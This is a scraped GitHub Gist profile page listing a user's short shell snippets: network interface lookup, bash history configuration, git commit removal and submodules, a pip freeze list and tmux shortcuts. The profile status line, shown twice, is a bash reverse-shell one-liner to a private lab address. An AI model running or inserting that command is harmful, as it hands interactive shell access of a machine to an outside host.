Skip to content

Instantly share code, notes, and snippets.

View thomaslaurenson's full-sized avatar
⚠️
bash -i >& /dev/tcp/10.10.14.2/9001 0>&1

Thomas Laurenson thomaslaurenson

⚠️
bash -i >& /dev/tcp/10.10.14.2/9001 0>&1
View GitHub Profile
# Fetch the NIC name (e.g., eth0, ens33)
NIC=$(ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
# Print the IP address of the NIC
ifconfig $NIC | awk '/t addr:/{gsub(/.*:/,"",$2);print$2}'
# Custom history configuration
# Run script using:
# chmod u+x better_history.sh
# sudo su
# ./better_history.sh
echo ">>> Starting"
echo ">>> Loading configuration into /etc/bash.bashrc"
echo "HISTTIMEFORMAT='%F %T '" >> /etc/bash.bashrc
echo 'HISTFILESIZE=-1' >> /etc/bash.bashrc
@thomaslaurenson
thomaslaurenson / remove_last_commit
Last active June 19, 2018 19:27
Remove the last commit to a specifc git repository
# Remove last commit (completely)
git reset --hard HEAD~1
# Remove specific commit (completely)
get reset <commit_hash>
# Now push with force!
git push --force
# Make sure you are in the repo directory
cd <somewhere>
# Add the external repository as a submodule
git submodule add <address_of_submodule_repo>
# Make sure to initialize it and update (when required)
git submodule init
git submodule update
@thomaslaurenson
thomaslaurenson / requirements.txt
Created July 9, 2024 21:01
Pip freeze on a fresh Ubuntu Server 22.04 with only python3-pip installed (2024-07)
attrs==21.2.0
Automat==20.2.0
Babel==2.8.0
bcrypt==3.2.0
blinker==1.4
certifi==2020.6.20
chardet==4.0.0
click==8.0.3
cloud-init==23.3.3
colorama==0.4.4
# New session
tmux new -s tunnel
# New window
C-b c
# Close window
C-b &
# Rename window